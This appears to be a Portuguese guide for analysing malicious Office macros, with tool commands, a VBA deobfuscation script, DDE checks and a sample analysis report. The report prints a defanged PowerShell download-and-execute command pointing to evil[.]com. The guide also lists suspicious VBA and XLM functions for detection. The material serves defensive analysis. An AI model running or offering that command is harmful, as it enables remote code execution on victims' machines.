Análise de Macros Maliciosas em Documentos Office

O que Análise de Macros Maliciosas em Documentos Office faz?

Quando Usar

• Um documento Office suspeito (.doc, .docm, .xls, .xlsm, .ppt) foi sinalizado pela segurança de e-mail
• Investigando campanhas de phishing que distribuem documentos Office armados
• Extraindo código de macro VBA para identificar a URL de download do payload e o método de execução
• Analisando código VBA ofuscado para entender toda a cadeia de ataque
• Determinando se um documento usa DDE, ActiveX ou injeção de template remoto em vez de macros

Não use para analisar ameaças Office não-macro (DDE, injeção de template remoto); embora esta skill cubra a detecção destes, uma análise especializada pode ser necessária.

Pré-requisitos

• Python 3.8+ com oletools instalado (pip install oletools)
• oledump.py de Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
• VM de análise isolada sem Microsoft Office instalado (evita execução acidental)
• XLMDeobfuscator para análise de macros Excel 4.0 (pip install xlmdeobfuscator)
• LibreOffice para renderização segura de documentos (não executa macros VBA por padrão)

Fluxo de Trabalho

Passo 1: Triagem Inicial do Documento

Determine se o documento contém macros ou outro conteúdo ativo:

# Triagem rápida com olevba
olevba suspect.docm

# Verificar streams OLE e macros
oleid suspect.docm

# Indicadores de saída:
# VBA Macros:        True/False
# XLM Macros:        True/False
# External Relationships: True/False (template remoto)
# ObjectPool:        True/False (objetos incorporados)
# Flash:             True/False (objetos SWF)

# Análise OLE abrangente
oledump.py suspect.docm

# Listar todos os streams OLE com indicadores de macro
# Streams marcados com 'M' contêm macros VBA
# Streams marcados com 'm' contêm atributos de macro

Passo 2: Extrair e Analisar Código VBA

Extraia o código-fonte completo da macro VBA:

# Extrair VBA com desofuscação completa
olevba --decode --deobf suspect.docm

# Extrair apenas o código-fonte VBA
olevba --code suspect.docm > extracted_vba.txt

# Extração detalhada com oledump
oledump.py -s 8 -v suspect.docm  # Stream 8 (ajustar com base na listagem de streams)

# Extrair todos os streams de macro
oledump.py -p plugin_vba_dco suspect.docm

Elementos Chave do VBA a Identificar:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Gatilhos de Auto-Execução:
  - Auto_Open / AutoOpen (Word)
  - Auto_Close / AutoClose
  - Document_Open / Document_Close
  - Workbook_Open (Excel)
  - AutoExec

Funções Suspeitas:
  - Shell() / Shell.Application
  - WScript.Shell.Run / Exec
  - CreateObject("WScript.Shell")
  - Execução do PowerShell
  - URLDownloadToFile
  - MSXML2.XMLHTTP (requisições HTTP)
  - ADODB.Stream (escrita de arquivos)
  - Environ() (variáveis de ambiente)
  - CallByName (chamadas indiretas de método)

Passo 3: Desofuscar Código VBA

Remova camadas de ofuscação para revelar o payload:

# Técnicas de desofuscação VBA
import re

def deobfuscate_vba(code):
    # 1. Resolver chamadas Chr(): Chr(104) & Chr(116) -> "ht"
    def resolve_chr(match):
        try:
            return chr(int(match.group(1)))
        except:
            return match.group(0)
    code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)

    # 2. Remover concatenação de strings: "htt" & "p://" -> "http://"
    code = re.sub(r'"\s*&\s*"', '', code)

    # 3. Resolver chamadas ChrW: ChrW(104)
    code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)

    # 4. Resolver StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
    def resolve_reverse(match):
        return '"' + match.group(1)[::-1] + '"'
    code = re.sub(r'StrReverse\"([^"]+)"\)', resolve_reverse, code)

    # 5. Remover ofuscação Mid$/Left$/Right$ (complexo, marcar para revisão manual)

    # 6. Resolver Replace(): Replace("Powxershxell", "x", "")
    def resolve_replace(match):
        original = match.group(1)
        find = match.group(2)
        replace_with = match.group(3)
        return '"' + original.replace(find, replace_with) + '"'
    code = re.sub(r'Replace\"([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)

    return code

with open("extracted_vba.txt") as f:
    vba_code = f.read()

deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)

Passo 4: Analisar Macros Excel 4.0 (XLM)

Lide com macros Excel legadas que contornam a detecção VBA:

# Detectar macros XLM
olevba --xlm suspect.xlsm

# Desofuscar macros XLM
xlmdeobfuscator -f suspect.xlsm

# Análise manual XLM com oledump
oledump.py suspect.xlsm -p plugin_biff.py

# Funções de macro XLM (Excel 4.0) a observar:
# EXEC()       - Executar comando shell
# CALL()       - Chamar função DLL
# REGISTER()   - Registrar função DLL
# URLDownloadToFileA - Baixar arquivo
# ALERT()      - Exibir mensagem (engenharia social)
# HALT()       - Parar execução
# GOTO()       - Fluxo de controle
# IF()         - Execução condicional

Passo 5: Verificar Vetores de Ataque Não-Macro

Examine o documento em busca de DDE, templates remotos e objetos incorporados:

# Verificar DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re

z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if name.endswith('.xml') or name.endswith('.rels'):
        content = z.read(name).decode('utf-8', errors='ignore')
        # Códigos de campo DDE
        if 'DDEAUTO' in content or 'DDE ' in content:
            print(f'[!] DDE encontrado em {name}')
            dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
            for m in dde_match:
                print(f'    Comando: {m}')
        # Template remoto
        if 'attachedTemplate' in content or 'Target=' in content:
            urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
            for url in urls:
                print(f'[!] URL de template remoto: {url}')
"

# Verificar objetos OLE incorporados
oledump.py -p plugin_msg.py suspect.docm

# Verificar relacionamentos para referências externas
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
    if '.rels' in name:
        content = z.read(name).decode('utf-8', errors='ignore')
        if 'http' in content.lower() or 'ftp' in content.lower():
            print(f'Referência externa em {name}:')
            import re
            urls = re.findall(r'Target=\"([^\"]+)\"', content)
            for url in urls:
                print(f'  {url}')
"

Passo 6: Gerar Relatório de Análise

Documente a análise completa de malware de macro:

O relatório deve incluir:
- Metadados do documento (autor, data de criação, data de modificação)
- Presença de macro e tipo (VBA, XLM, DDE, template remoto)
- Gatilho de auto-execução identificado
- Código-fonte VBA desofuscado (funções principais)
- URL(s) de download para payloads de segundo estágio
- Método de execução (Shell, WScript, PowerShell, objeto COM)
- Descrição do engodo de engenharia social
- IOCs extraídos (URLs, domínios, IPs, hashes de arquivos)
- Regra YARA para o padrão específico do documento

Conceitos Chave

Termo	Definição
Macro VBA	Código Visual Basic for Applications incorporado em documentos Office que pode interagir com o SO, baixar arquivos e executar comandos
Auto_Open	Procedimento de evento VBA que é executado automaticamente quando um documento Word é aberto, o gatilho principal para malware de macro
OLE (Object Linking and Embedding)	Formato de documento composto da Microsoft; documentos Office são contêineres OLE com streams que podem conter macros e objetos
DDE (Dynamic Data Exchange)	Mecanismo de IPC legado do Windows abusado em documentos para executar comandos sem macros; acionado por atualizações de código de campo
Injeção de Template Remoto	Ataque que carrega um template habilitado para macro de uma URL remota quando o documento abre, contornando a detecção inicial de macro
Macros XLM (Excel 4.0)	Linguagem de macro legada do Excel anterior ao VBA; armazenada em planilhas ocultas e muitas vezes perdida por ferramentas tradicionais de análise VBA
Modo de Exibição Protegido	Sandbox do Office que impede a execução de macro até que o usuário clique em "Ativar Conteúdo"; engenharia social tem como alvo essa barreira

Ferramentas e Sistemas

• oletools (olevba): Kit de ferramentas Python para analisar arquivos OLE, extrair macros VBA e detectar palavras-chave suspeitas e IOCs
• oledump.py: Ferramenta de Didier Stevens para analisar streams OLE com suporte a plugins para descompressão e extração VBA
• XLMDeobfuscator: Ferramenta projetada especificamente para desofuscar fórmulas de macro Excel 4.0 (XLM)
• ViperMonkey: Mecanismo de emulação VBA que executa macros VBA em um ambiente isolado para observar comportamento
• YARA: Correspondência de padrões para detecção de malware baseado em documentos usando padrões de string VBA e indicadores de estrutura OLE

Cenários Comuns

Cenário: Analisando um Documento de Phishing com Macros VBA Ofuscadas

Contexto: Vários funcionários receberam um e-mail com um arquivo .docm anexado alegando ser uma fatura. O documento solicita que os usuários "Ativem o Conteúdo" para visualizar o documento completo.

Abordagem:

1. Execute oleid para confirmar a presença de macros VBA e identificar gatilhos de auto-execução
2. Extraia o código VBA com olevba --decode --deobf para desofuscação inicial
3. Identifique o ponto de entrada da auto-execução (Auto_Open ou Document_Open)
4. Trace o fluxo de execução do ponto de entrada através de funções auxiliares
5. Desofusque a concatenação de strings e a codificação Chr() para revelar a URL de download
6. Identifique o método de download (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
7. Extraia todos os IOCs e crie regras YARA para o padrão de ofuscação específico

Armadilhas:

• Abrir o documento no Microsoft Office para "análise rápida" em vez de usar ferramentas de linha de comando
• Perder código VBA armazenado em UserForms (elementos GUI podem conter código em seus manipuladores de eventos)
• Ignorar metadados do documento que podem conter impressões digitais do atacante (nome do autor, nome do template)
• Não verificar ambos macros VBA e XLM no mesmo documento (alguns malwares usam ambos)

Formato de Saída

ANÁLISE DE MALWARE DE MACRO OFFICE
================================
Documento:         invoice_q3_2025.docm
SHA-256:           e3b0c44298fc1c149afbf4c8996fb924...
Tipo de Arquivo:   Documento Microsoft Word (OOXML com macros)
Autor:             Administrador
Data de Criação:   2025-09-10 14:23:00

ANÁLISE DE MACRO
Tipo:              Macro VBA
Gatilho:           AutoOpen()
Streams:           3 streams VBA (ThisDocument, Module1, Module2)

CADEIA DE EXECUÇÃO DESOFUSCADA
1. AutoOpen() -> Chama Module1.RunPayload()
2. RunPayload() constrói a string de comando via concatenação Chr()
3. Comando: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decodificado: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')

ENGOBO DE ENGENHARIA SOCIAL
- O documento exibe uma imagem falsa de "Documento Protegido"
- Instrui o usuário a "Ativar Conteúdo" para visualizar o documento
- O conteúdo é desfocado/oculto até as macros executarem

IOCs EXTRAÍDOS
URL de Download:   hxxp://evil[.]com/payload.ps1
Domínio C2:        evil[.]com
Endereço IP:       185.220.101[.]42
User-Agent:        PowerShell (WebClient padrão)

MITRE ATT&CK
T1566.001  Phishing: Acesso por Anexo de Spearphishing
T1204.002  Execução do Usuário: Arquivo Malicioso
T1059.001  Interpretador de Comandos e Scripts: PowerShell
T1059.005  Interpretador de Comandos e Scripts: Visual Basic